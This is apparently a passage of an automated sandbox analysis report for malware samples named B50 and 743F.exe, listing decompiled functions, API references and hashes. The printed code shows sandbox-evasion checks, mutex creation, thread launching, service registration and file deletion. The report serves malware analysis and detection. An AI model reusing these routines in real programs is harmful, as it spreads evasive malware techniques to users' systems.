Instruction Fuzzy Hash: 4A51D7749002099FDB04DFA8C484BDEBBB5BB4C304F14C15AE925AB391D775A986CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00411DB0, Relevance: 6.1, APIs: 4, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411DB0(intOrPtr __ecx, void* _a4, signed int _a8) {
				void* _v8;
				struct _OVERLAPPED* _v12;
				long _v16;
				void* _v20;
				void* _v24;
				intOrPtr _v28;
				signed char _t101;
				void* _t102;
				intOrPtr _t110;
				intOrPtr _t113;
				intOrPtr _t128;
				intOrPtr _t131;
				void* _t148;

				_v28 = __ecx;
				_v8 = _a4;
				if(( *(_v28 + 0x2d) & 0x000000ff) == 0) {
					L11:
					_t110 = _v28;
					__eflags =  *((intOrPtr*)(_t110 + 0x20));
					if( *((intOrPtr*)(_t110 + 0x20)) == 0) {
						_t128 = _v28;
						__eflags =  *((intOrPtr*)(_t128 + 4));
						if( *((intOrPtr*)(_t128 + 4)) == 0) {
							 *((intOrPtr*)(_v28 + 0x14)) = 0x1000000;
							__eflags = 0;
							return 0;
						}
						WriteFile( *(_v28 + 4), _v8, _a8,  &_v16, 0);
						return _v16;
					}
					_t131 = _v28;
					_t113 = _v28;
					__eflags =  *((intOrPtr*)(_t131 + 0x24)) + _a8 -  *((intOrPtr*)(_t113 + 0x28));
					if( *((intOrPtr*)(_t131 + 0x24)) + _a8 <  *((intOrPtr*)(_t113 + 0x28))) {
						memcpy( *((intOrPtr*)(_v28 + 0x20)) +  *((intOrPtr*)(_v28 + 0x24)), _v8, _a8);
						 *((intOrPtr*)(_v28 + 0x24)) =  *((intOrPtr*)(_v28 + 0x24)) + _a8;
						return _a8;
					}
					 *((intOrPtr*)(_v28 + 0x14)) = 0x30000;
					return 0;
				}
				if( *(_v28 + 0x3c) != 0 &&  *((intOrPtr*)(_v28 + 0x40)) < _a8) {
					_v20 =  *(_v28 + 0x3c);
					E0040B5B0(_v20);
					_t148 = _t148 + 4;
					 *(_v28 + 0x3c) = 0;
				}
				_t117 = _v28;
				if( *(_v28 + 0x3c) == 0) {
					_t102 = E0040B590(_t117, _a8 << 1);
					_t148 = _t148 + 4;
					_v24 = _t102;
					 *(_v28 + 0x3c) = _v24;
					 *((intOrPtr*)(_v28 + 0x40)) = _a8;
				}
				memcpy( *(_v28 + 0x3c), _a4, _a8);
				_v12 = 0;
				while(1) {
					_t154 = _v12 - _a8;
					if(_v12 >= _a8) {
						break;
					}
					_t101 = E004114E0( *( *(_v28 + 0x3c) + _v12) & 0x000000ff, _t154, _v28 + 0x30,  *( *(_v28 + 0x3c) + _v12) & 0x000000ff);
					_t148 = _t148 + 8;
					 *( *(_v28 + 0x3c) + _v12) = _t101;
					_v12 =  &(_v12->Internal);
				}
				_v8 =  *(_v28 + 0x3c);
				goto L11;
			}

0x00411db6
0x00411dbc
0x00411dc8
0x00411e90
0x00411e90
0x00411e93
0x00411e97
0x00411ee9
0x00411eec
0x00411ef0
0x00411f15
0x00411f1c
0x00000000
0x00411f1c
0x00411f07
0x00000000
0x00411f0d
0x00411e99
0x00411ea2
0x00411ea5
0x00411ea8
0x00411ecd
0x00411edf
0x00000000
0x00411ee2
0x00411ead
0x00000000
0x00411eb4
0x00411dd5
0x00411de8
0x00411def
0x00411df4
0x00411dfa
0x00411dfa
0x00411e01
0x00411e08
0x00411e10
0x00411e15
0x00411e18
0x00411e21
0x00411e2a
0x00411e2a
0x00411e3c
0x00411e42
0x00411e54
0x00411e57
0x00411e5a
0x00000000
0x00000000
0x00411e71
0x00411e76
0x00411e82
0x00411e51
0x00411e51
0x00411e8d
0x00000000

APIs

new[].LIBCMTD ref: 00411E10
memcpy.NTDLL(00000000,?,000000FF,?,0041289D,?,000000FF,?,00004000), ref: 00411E3C
memcpy.NTDLL(00000000,00004000,000000FF,?,0041289D,?,000000FF,?,00004000), ref: 00411ECD

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: memcpy$new[]
String ID:
API String ID: 3541104900-0
Opcode ID: e6a56af37c6e19b6ed2c0ea83cdf516621f6fac75bc61e6ebff01ec4e90410b0
Instruction ID: 1be85da1f02f000736658b6362af722e2e86620b20a10b8620c900d99ce7c40f
Opcode Fuzzy Hash: e6a56af37c6e19b6ed2c0ea83cdf516621f6fac75bc61e6ebff01ec4e90410b0
Instruction Fuzzy Hash: 0051C7B8A00209DFCB44CF98C581EAEBBB6FF88314F548159EA05AB355D735E981CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0057C100, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 53stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0041A574,?,?,00575E47,?,0041A574,00000000), ref: 0057C10E
lstrcpyn.KERNEL32(0041AC88,0041A574,0041A574,?,00575E47,?,0041A574), ref: 0057C132
wsprintfA.USER32 ref: 0057C18B

Strings

G^W, xrefs: 0057C176, 0057C179

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: lstrcpynwsprintf
String ID: G^W
API String ID: 1799455324-1537472218
Opcode ID: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction ID: 19a4bf87caf291ecec9668031e548d1d2065ab9585ed3a06b8c207aedc3e819a
Opcode Fuzzy Hash: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction Fuzzy Hash: BA210675901108EFDB00CFA8D984AEEBBB4AB48344F108199E809AB301D634AA90CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0040BEB0, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 53
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040BEB0(char* _a4, char* _a8, intOrPtr _a12) {
				char* _v8;
				char* _v12;
				char* _v16;
				char _v17;
				intOrPtr _v24;

				_v8 = StrStrA(_a4, _a8);
				if(_v8 != 0) {
					 *0x41a994(0x41ac88, _a4, _v8 - _a4);
					 *(_v8 - _a4 + 0x41ac88) = 0;
					_v12 = _a8;
					_v16 =  &(_v12[1]);
					do {
						_v17 =  *_v12;
						_v12 =  &(_v12[1]);
					} while (_v17 != 0);
					_v24 = _v12 - _v16;
					wsprintfA(_v8 - _a4 + 0x41ac88, "%s%s", _a12, _v8 + _v24);
					return 0x41ac88;
				}
				return _a4;
			}

0x0040bec4
0x0040becb
0x0040bee2
0x0040beee
0x0040bef8
0x0040bf01
0x0040bf04
0x0040bf09
0x0040bf0c
0x0040bf10
0x0040bf1c
0x0040bf3b
0x00000000
0x0040bf44
0x00000000

APIs

StrStrA.SHLWAPI(007666A8,?,?,004061B1,?,007666A8,00000000), ref: 0040BEBE
lstrcpyn.KERNEL32(0041AC88,007666A8,007666A8,?,004061B1,?,007666A8), ref: 0040BEE2
wsprintfA.USER32 ref: 0040BF3B

Strings

%s%s, xrefs: 0040BF2A

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: lstrcpynwsprintf
String ID: %s%s
API String ID: 1799455324-3252725368
Opcode ID: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction ID: 9d0df258c1970b53338195e9cfc72265299fee085df88f93dfbf2dd1b14f7860
Opcode Fuzzy Hash: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction Fuzzy Hash: 3A21F975901108FFDF05DFACC984AEEBBB4EF48344F108199E909A7341D735AA90CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00576DB0, Relevance: 6.0, APIs: 4, Instructions: 49threadsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0057C530: GetProcAddress.KERNEL32(0041AA64,0041A718), ref: 0057C582
Part of subcall function 0057C530: GetProcAddress.KERNEL32(0041AA64,`t), ref: 0057C59A
Part of subcall function 0057C530: GetProcAddress.KERNEL32(0041AA64,0041A5BC), ref: 0057C5B2
Part of subcall function 0057C530: GetProcAddress.KERNEL32(0041AA64,0041A4B0), ref: 0057C5CB
Part of subcall function 0057C530: GetProcAddress.KERNEL32(0041AA64,0041A4C8), ref: 0057C5E3
Part of subcall function 0057C530: GetProcAddress.KERNEL32(0041AA64,0041A7D4), ref: 0057C5FB
Part of subcall function 0057C530: GetProcAddress.KERNEL32(0041AA64,0041A324), ref: 0057C614
Part of subcall function 0057C530: GetProcAddress.KERNEL32(0041AA64,0041A6F0), ref: 0057C62C
Part of subcall function 0057C530: GetProcAddress.KERNEL32(0041AA64,0041A7B0), ref: 0057C644
Part of subcall function 0057C530: GetProcAddress.KERNEL32(0041AA64,0041A218), ref: 0057C65D
Part of subcall function 0057C530: GetProcAddress.KERNEL32(0041AA64,004192A0), ref: 0057C673
Part of subcall function 0057C530: LoadLibraryA.KERNEL32(0041A0F8,?,00576DC2), ref: 0057C685
Part of subcall function 0057C530: LoadLibraryA.KERNEL32(0041A658,?,00576DC2), ref: 0057C697
Part of subcall function 0057C530: GetProcAddress.KERNEL32(0041A854,0041A594), ref: 0057C6B8

Part of subcall function 005712A0: GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000), ref: 005712BA
Part of subcall function 005712A0: VirtualAllocExNuma.KERNEL32(00000000), ref: 005712C1
Part of subcall function 005712A0: ExitProcess.KERNEL32 ref: 005712D2

Part of subcall function 00576CF0: GetTickCount.KERNEL32 ref: 00576CF6
Part of subcall function 00576CF0: Sleep.KERNEL32(00002710), ref: 00576D04
Part of subcall function 00576CF0: GetTickCount.KERNEL32 ref: 00576D0A

Sleep.KERNEL32(000003E7), ref: 00576E45

Part of subcall function 00576C60: GetUserDefaultLangID.KERNEL32 ref: 00576C6D

Part of subcall function 00576D80: CreateMutexA.KERNEL32(00000000,00000000,0041A124), ref: 00576D8D
Part of subcall function 00576D80: GetLastError.KERNEL32 ref: 00576D93

Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64,0041A0B4), ref: 0057C70D
Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64,@yv), ref: 0057C725
Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64,0041A2BC), ref: 0057C73E
Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64,0041A668), ref: 0057C756
Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64,0041A5D8), ref: 0057C76E
Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64,pyv), ref: 0057C787
Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64,0041A64C), ref: 0057C79F
Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64, xv), ref: 0057C7B7
Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64,8xv), ref: 0057C7D0
Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64,Hzv), ref: 0057C7E8
Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64,`zv), ref: 0057C800
Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64,Pxv), ref: 0057C819
Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64,xzv), ref: 0057C831
Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64,0041A1C0), ref: 0057C849
Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64,8{v), ref: 0057C862
Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64,xUv), ref: 0057C87A

CreateThread.KERNEL32(00000000,00000000,00401020,00000000,00000000,00000000), ref: 00576E0C

Part of subcall function 00576B40: GetSystemTime.KERNEL32(?,?,00000104), ref: 00576BC1
Part of subcall function 00576B40: lstrcat.KERNEL32(?,8Sv), ref: 00576BD5
Part of subcall function 00576B40: sscanf.NTDLL ref: 00576C13
Part of subcall function 00576B40: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00576C27
Part of subcall function 00576B40: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00576C38
Part of subcall function 00576B40: ExitProcess.KERNEL32 ref: 00576C52

CreateThread.KERNEL32(00000000,00000000,00406650,00000000,00000000,00000000), ref: 00576E26
ExitProcess.KERNEL32 ref: 00576E54

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: AddressProc$Time$Process$CreateExitSystem$CountFileLibraryLoadSleepThreadTick$AllocCurrentDefaultErrorLangLastMutexNumaUserVirtuallstrcatsscanf
String ID:
API String ID: 482147807-0
Opcode ID: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction ID: 8d12394cc0f7143dba5cfc07560fe6b4c013055235067eb6c0e593ea8e173880
Opcode Fuzzy Hash: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction Fuzzy Hash: CC01D638785B02A6F26137B5BD0FF5A2E497B80B81F14C020BA0DA80D2EE95A440B53F

Uniqueness

Uniqueness Score: -1.00%

Function 0057AF90, Relevance: 6.0, APIs: 4, Instructions: 32memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0057AFA0
RtlAllocateHeap.NTDLL(00000000), ref: 0057AFA7
GetTimeZoneInformation.KERNEL32(?), ref: 0057AFBA
wsprintfA.USER32 ref: 0057AFF4

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction ID: d2bd50790988e51e487a0ff41349d7384ea67224cb1a3c96f7882ea6098fed6d
Opcode Fuzzy Hash: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction Fuzzy Hash: 97F096709453189BDB209BA4DD49BE97779AB04301F0045E5E60D93291D7745E90CF47

Uniqueness

Uniqueness Score: -1.00%

Function 0043D176, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 0043D3C0
__aulldiv.LIBCMT ref: 0043D3E2

Strings

9, xrefs: 0043D3F3

Memory Dump Source

Source File: 00000017.00000002.387781269.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_42e000_B50.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: bc98bb75e67b5d3c861859ba291d6a8334d94db909cf655fd68fd7fe866595fc
Instruction ID: e237d2844237e258270ff6600717a5386e2a417a6c17edac328ebbf73004da49
Opcode Fuzzy Hash: bc98bb75e67b5d3c861859ba291d6a8334d94db909cf655fd68fd7fe866595fc
Instruction Fuzzy Hash: BF4137B1E002299FDF20CF48D841BAEB7B5FF89314F1050AAD549AB240D7389E81CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 0042E000, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

_wcslen.LIBCMTD ref: 0042E030
__itow_s.LIBCMTD ref: 0042E0F7

Strings

P, xrefs: 0042E017

Memory Dump Source

Source File: 00000017.00000002.387781269.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_42e000_B50.jbxd

Similarity

API ID: __itow_s_wcslen
String ID: P
API String ID: 487953124-3110715001
Opcode ID: 9e04b5484ac49a03cd39c9abcfc1379058b78d4543227028c803ef17c0700eef
Instruction ID: 78a3cfbc5e205c80ae460ee6c1fca5781fb4144dbd837ecde0c43ffcb7715c07
Opcode Fuzzy Hash: 9e04b5484ac49a03cd39c9abcfc1379058b78d4543227028c803ef17c0700eef
Instruction Fuzzy Hash: 32419675A00228AFDB14DF55EC55BEE7375BB48300F4081ADF50DA7280EB746AA4CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0043D1C4, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 0043D3C0
__aulldiv.LIBCMT ref: 0043D3E2

Strings

9, xrefs: 0043D3F3

Memory Dump Source

Source File: 00000017.00000002.387781269.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_42e000_B50.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: 085f023d9dc05231cb64ef8825d8687272fb25f633ce9218f7bf6c16918eccab
Instruction ID: e6bf22457a2e9545270190d138cec9999a78b1257d78376850cd751f96715f64
Opcode Fuzzy Hash: 085f023d9dc05231cb64ef8825d8687272fb25f633ce9218f7bf6c16918eccab
Instruction Fuzzy Hash: 634117B1E002299FDF24CF48D881BAEB7B5FF89314F1051A9D549A7241C7389E81CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 00435DAC, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00435FA5
__aulldiv.LIBCMT ref: 00435FC7

Strings

9, xrefs: 00435FD8

Memory Dump Source

Source File: 00000017.00000002.387781269.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_42e000_B50.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: 91a2fdda568f9633d7d35843e0fea8d961634504dd788a3b3972241eb36542ec
Instruction ID: 69d049def698f074cbc09fc92f1c6f177935405446cbe200123df9234f58348c
Opcode Fuzzy Hash: 91a2fdda568f9633d7d35843e0fea8d961634504dd788a3b3972241eb36542ec
Instruction Fuzzy Hash: 0741F771D15A29DFEB24CF59CC89BAEB7B5FB88304F14959AE009A7240D7385E81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00435D5B, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00435FA5
__aulldiv.LIBCMT ref: 00435FC7

Strings

9, xrefs: 00435FD8

Memory Dump Source

Source File: 00000017.00000002.387781269.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_42e000_B50.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: 0f046a36f87634a8912633206b682aa4f0878c990d5c58af0e404ed860efed0c
Instruction ID: 76aca92c5ea936b61a727d6fc5d316bfca1a816ba2ae71a5d3b54d347ec39499
Opcode Fuzzy Hash: 0f046a36f87634a8912633206b682aa4f0878c990d5c58af0e404ed860efed0c
Instruction Fuzzy Hash: AB41E471D15A29DFEB24CF59C889BAEB7B5FB48304F2095DAE009A7240D7389E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043D16D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 0043D3C0
__aulldiv.LIBCMT ref: 0043D3E2

Strings

9, xrefs: 0043D3F3

Memory Dump Source

Source File: 00000017.00000002.387781269.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_42e000_B50.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: 8094e93eaf262afb1787122b3c5246880444f9b42bc9ea20a1ec68635b1429c6
Instruction ID: f95e932f7e504cb0bc85f0cc353aa149b54cfff3160785b45deeaece164f6557
Opcode Fuzzy Hash: 8094e93eaf262afb1787122b3c5246880444f9b42bc9ea20a1ec68635b1429c6
Instruction Fuzzy Hash: FB4117B1E002299FDB24CF48D981B9EB7B5FF89314F1051EAE549A7241C7389E81CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00582620, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,?,?,?,?,?,?,00582D62), ref: 00582694
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,00582D62), ref: 005826A2

Part of subcall function 005818C0: FileTimeToSystemTime.KERNEL32(?,?,?,?,?,b-X,?,?,?,?,?,?,00582D62), ref: 005818CE

Part of subcall function 00581880: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 005818AC

Strings

b-X, xrefs: 005826A8, 005826FD, 005826AB

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: Time$FileSystem$LocalUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: b-X
API String ID: 568878067-4052239733
Opcode ID: 77842d6e9c3ac7ccb908d3ccd7048a15edff26aad8d2f5aef4a99b83c7691eaf
Instruction ID: 09e5ad41a05606b84fc8a1a70592d5149a26aa131ac2dadec7df9421fbc84e9e
Opcode Fuzzy Hash: 77842d6e9c3ac7ccb908d3ccd7048a15edff26aad8d2f5aef4a99b83c7691eaf
Instruction Fuzzy Hash: ED31A2B99002099FDB08DF98C594BDEBBF5BB4C304F204599D805AB352D736AE45CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0057B8F0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,b6X,?,0057B7ED,b6X,00000009,?,00583662,00000009), ref: 0057B8F9
RtlAllocateHeap.NTDLL(00000000,?,0057B7ED), ref: 0057B900

Strings

b6X, xrefs: 0057B8F3, 0057B8F6

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID: b6X
API String ID: 1357844191-2603816526
Opcode ID: 91792353ec189b537f40c44ebd9c2449dbd42fd7f98193ad091825612838553d
Instruction ID: f01f5e1e7c2cbae4d5f0611841cbb3e049ae9411e28973528bbdb3b79d6c1229
Opcode Fuzzy Hash: 91792353ec189b537f40c44ebd9c2449dbd42fd7f98193ad091825612838553d
Instruction Fuzzy Hash: 62C09B75141308ABD6005BE8EE0DDD6375CFF4C641F008410B60DC6551CA75A450C766

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 743F.exe PID: 6640 Parent PID: 3352 743F.exeCOMMON

Executed Functions

Function 00409A6B, Relevance: 102.3, APIs: 48, Strings: 10, Instructions: 799
stringsleepregistryCOMMON

Download Yara Rule

C-Code - Quality: 89%

			_entry_(CHAR* _a12, void* _a15) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				void* _v24;
				char _v28;
				char _v32;
				union _GET_FILEEX_INFO_LEVELS _v36;
				CHAR* _v40;
				char _v44;
				char _v48;
				struct _PROCESS_INFORMATION _v64;
				char _v80;
				char _v112;
				char _v371;
				char _v372;
				char _v671;
				char _v672;
				char _v704;
				struct _STARTUPINFOA _v772;
				char _v1271;
				char _v1272;
				char _v1672;
				char _t238;
				long _t239;
				char _t242;
				long _t244;
				CHAR* _t248;
				char _t250;
				intOrPtr _t257;
				char _t267;
				intOrPtr* _t272;
				char _t276;
				char _t279;
				char _t282;
				char _t283;
				void* _t284;
				char _t294;
				CHAR* _t303;
				int _t304;
				char _t309;
				CHAR* _t312;
				char _t318;
				int _t324;
				CHAR* _t325;
				char _t328;
				char* _t331;
				char _t332;
				char _t340;
				char _t344;
				CHAR* _t357;
				CHAR* _t358;
				int _t359;
				int _t373;
				long _t379;
				void* _t383;
				void* _t396;
				void* _t401;
				char _t402;
				char _t403;
				intOrPtr* _t410;
				void* _t411;
				char _t417;
				char _t418;
				void* _t424;
				intOrPtr _t426;
				void* _t428;
				char* _t436;
				intOrPtr _t441;
				CHAR* _t442;
				void* _t450;
				void* _t451;
				char _t459;
				void* _t464;
				void* _t465;
				void* _t467;
				void* _t468;
				void* _t469;
				void* _t470;
				void* _t471;
				void* _t474;
				intOrPtr _t475;

				SetErrorMode(3); // executed
				SetErrorMode(3); // executed
				SetUnhandledExceptionFilter(E00406511); // executed
				E0040EC54(); // executed
				_t475 =  *0x41201f; // 0x0
				if(_t475 != 0) {
					__eflags =  *0x4133d8;
					if(__eflags == 0) {
						L126:
						CreateThread(0, 0, E0040405E, 0, 0, 0);
						__imp__#115(0x1010,  &_v1672);
						E0040E52E(_t449, __eflags);
						E0040EAAF(1, 0);
						E00401D96(_t438, 0x412118);
						E004080C9(_t438);
						CreateThread(0, 0, E0040877E, 0, 0, 0);
						E00405E6C(__eflags);
						E00403132();
						E0040C125(__eflags);
						E00408DB1(_t438);
						Sleep(0xbb8);
						E0040C4EE();
						while(1) {
							__eflags =  *0x4133d0;
							if( *0x4133d0 == 0) {
								goto L129;
							}
							_t239 = GetTickCount();
							__eflags = _t239 -  *0x4133d0 - 0x186a0;
							if(_t239 -  *0x4133d0 < 0x186a0) {
								L131:
								Sleep(0x2710);
								continue;
							}
							L129:
							_t238 = E0040C913();
							__eflags = _t238;
							if(_t238 == 0) {
								 *0x4133d0 = GetTickCount();
							}
							goto L131;
						}
					}
					_a12 = 0xa;
					while(1) {
						_t242 = DeleteFileA(0x4133d8);
						__eflags = _t242;
						if(_t242 != 0) {
							break;
						}
						__eflags = _a12;
						if(_a12 <= 0) {
							break;
						}
						_t244 = GetLastError();
						__eflags = _t244 - 2;
						if(_t244 == 2) {
							break;
						}
						_t219 =  &_a12;
						 *_t219 = _a12 - 1;
						__eflags =  *_t219;
						Sleep(0x3e8);
					}
					E0040EE2A(_t438, 0x4133d8, 0, 0x104);
					_t465 = _t465 + 0xc;
					goto L126;
				} else {
					_v12 = 0;
					if(GetModuleFileNameA(GetModuleHandleA(0),  &_v672, 0x12c) == 0) {
						_v672 = 0;
					}
					if(_v672 == 0x22) {
						E0040EF00( &_v672,  &_v671);
						_t436 = E0040ED23( &_v672, 0x22);
						_t465 = _t465 + 0x10;
						if(_t436 != 0) {
							 *_t436 = 0;
						}
					}
					_t248 = GetCommandLineA();
					_t459 = 0x4122f8;
					_a12 = _t248;
					_t250 = E0040EE95(_a12, E00402544(0x4122f8, 0x410a48, 4, 0xe4, 0xc8));
					_t454 = 0x100;
					_v8 = _t250;
					E0040EE2A(_t438, 0x4122f8, 0, 0x100);
					_t467 = _t465 + 0x28;
					if(_v8 == 0) {
						_t257 = E004096AA( &_v672,  &_v48,  &_v44,  &_v372,  &_v112); // executed
						_t467 = _t467 + 0x14;
						_v16 = _t257;
						if(_t257 == 0) {
							E0040EF00(0x4121a8,  &_v672);
							_pop(_t438);
							_a12 = GetCommandLineA();
							_v8 = E0040EE95(_a12, E00402544(0x4122f8, 0x410a38, 4, 0xe4, 0xc8));
							E0040EE2A(_t438, 0x4122f8, 0, 0x100);
							_t468 = _t467 + 0x28;
							__eflags = _v8;
							if(_v8 == 0) {
								L102:
								_v8 = E0040EE95(_a12, E00402544(_t459, 0x410a28, 4, 0xe4, 0xc8));
								E0040EE2A(_t438, _t459, 0, _t454);
								_t467 = _t468 + 0x28;
								__eflags = _v8;
								if(_v8 == 0) {
									L110:
									_t267 = E00406EC3();
									__eflags = _t267;
									if(_t267 != 0) {
										E004098F2(_t438);
										L19:
										ExitProcess(0); // executed
									}
									__eflags = _v372;
									if(_v372 == 0) {
										L116:
										 *0x4133b0 = 0;
										L117:
										_v64.hProcess =  &_v372;
										_v64.hThread = E00409961;
										_v64.dwProcessId = 0;
										_v64.dwThreadId = 0;
										StartServiceCtrlDispatcherA( &_v64);
										goto L19;
									}
									_t272 =  &_v372;
									_t449 = _t272 + 1;
									do {
										_t438 =  *_t272;
										_t272 = _t272 + 1;
										__eflags = _t438;
									} while (_t438 != 0);
									__eflags = _t272 - _t449 - 0x20;
									if(_t272 - _t449 >= 0x20) {
										goto L116;
									}
									E0040EF00(0x4133b0,  &_v372);
									_pop(_t438);
									goto L117;
								}
								_t459 = _v8 + 3;
								_t276 = E0040ED03(_t459, 0x20);
								_pop(_t438);
								__eflags = _t276;
								if(_t276 != 0) {
									L107:
									_t454 = _t276 - _t459;
									__eflags = _t454 - 0x20;
									if(_t454 >= 0x20) {
										_t454 = 0x1f;
									}
									E0040EE08(0x412184, _t459, _t454);
									_t467 = _t467 + 0xc;
									 *((char*)(_t454 + 0x412184)) = 0;
									goto L110;
								}
								_t279 = _t459;
								_t449 = _t279 + 1;
								do {
									_t438 =  *_t279;
									_t279 = _t279 + 1;
									__eflags = _t438;
								} while (_t438 != 0);
